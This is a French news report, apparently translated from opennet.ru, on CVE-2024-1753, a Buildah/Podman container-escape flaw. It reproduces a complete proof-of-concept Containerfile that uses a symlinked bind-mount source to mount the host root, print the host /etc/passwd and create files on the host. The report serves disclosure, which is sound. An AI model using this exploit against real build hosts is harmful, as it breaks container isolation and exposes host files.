Vulnérabilité dans Buildah et Podman permettant de contourner l'isolation des conteneurs

Une vulnérabilité (CVE-2024-1753) a été détectée dans les paquets Buildah et Podman, permettant un accès complet au système de fichiers de l'environnement hôte lors de la construction d'un conteneur exécuté avec les droits root. Sur les systèmes avec SELinux activé, l'accès au système de fichiers de l'hôte est limité en mode lecture seule. Un correctif est actuellement disponible sous la forme d'un patch, qui a été accepté dans la base de code Buildah il y a quelques minutes.

La vulnérabilité est due au fait que lors du montage de parties du système de fichiers via la commande « mount —bind » pendant la phase de construction RUN, l'argument du répertoire source (paramètre « source= ») n'est pas vérifié pour son existence dans le système de fichiers racine. Un fichier de configuration Containerfile malveillant peut utiliser une image de conteneur dans laquelle le répertoire source pour le montage est présenté sous la forme d'un lien symbolique vers le système de fichiers racine. Dans ce cas, l'opération de montage conduira au montage du système de fichiers racine de l'environnement hôte à l'intérieur du conteneur, permettant ainsi d'accéder complètement au système de fichiers de l'environnement hôte durant la phase RUN et de sortir du conteneur lors de la construction avec les commandes « buildah build » ou « podman build ».

Exemple d'un fichier Containerfile malveillant, dont la construction avec la commande « podman build -f ~/Containerfile . » affichera le contenu de /etc/passwd et créera les fichiers /BIND_BREAKEOUT et /etc/BIND_BREAKOUT2 dans l'environnement hôte : FROM alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo « ls container root » RUN ls -l / RUN echo « Avec l'exploit, afficher le root de l'hôte, pas le root du conteneur, et créer /BIND_BREAKOUT dans / sur l'hôte » RUN —mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo « Avec l'exploit, afficher /etc/passwd de l'hôte, pas celui du conteneur, et créer /BIND_BREAKOUT2 dans /etc sur l'hôte » RUN —mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2

Source : opennet.ru

Acheter un hébergement fiable pour les sites avec protection DDoS, serveurs VPS VDS 🔥 Acheter un hébergement fiable pour les sites avec protection DDoS, serveurs VPS VDS | ProHoster